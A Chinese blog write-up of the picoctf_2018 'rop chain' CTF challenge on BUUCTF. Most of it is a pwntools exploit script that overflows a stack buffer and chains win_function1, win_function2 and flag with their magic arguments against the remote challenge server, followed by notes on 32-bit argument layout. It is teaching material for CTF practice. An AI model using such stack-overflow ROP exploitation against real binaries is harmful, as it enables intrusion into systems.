【32位系统传参】BUUCTF picoctf_2018_rop chain
Thursday, December 29, 2022
本文共442字
1分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/32%E4%BD%8D%E7%B3%BB%E7%BB%9F%E4%BC%A0%E5%8F%82buuctf-picoctf_2018_rop-chain/。商业转载请联系作者获得授权,非商业转载请注明出处!
Sometimes being a friend means mastering the art of timing. There is a time for silence. A time to let go and allow people to hurl themselves into their own destiny. And a time to prepare to pick up the pieces when it’s all over.
— Octavia E. Butler
原题链接
checksec
ida
解题思路很简单,先后调用win_function1、winfunction2、flag函数即可,重要的是rop链的顺序,32位系统比较杂乱
exp
# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
pss: bool = True
fn: str = "./PicoCTF_2018_rop_chain"
libc_name: str = "/home/ctf/share/share_files/security/buuctf_libc/libc-2.23_32.so"
port: str = "28219"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, """
break main
c
""")
else:
p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)
def suclog(**kwargs):
for k, v in kwargs.items():
if isinstance(v, int):
success(f"{k} => {hex(v)}")
else:
success(f"{k} => {v}")
def sendline_after_clean(content: bytes) -> None:
p.clean()
p.sendline(content)
def interactive_after_clean() -> None:
p.clean()
p.interactive()
#需要自行设定offset
offset:int = 0x18 + 0x4
payload = flat([
m_elf.sym['win_function1'],
m_elf.sym['win_function2'],
m_elf.sym['flag'],
-1163220307,
-559039827
])
payload = flat({offset : payload})
sendline_after_clean(payload)
interactive_after_clean()
调用win1,因为没有参数,所以不用安排栈
等到win1结束时,有一条ret指令,会将win2弹入EIP
而win2是一个有参数的函数,为了获取栈中参数,32位系统的方法是,使用[ebp+8]
作为第一个参数,而ebp的值如下图所示:
所以参数和指令之间要隔开
flag函数同理
扫码阅读此文章
点击按钮复制分享信息
点击订阅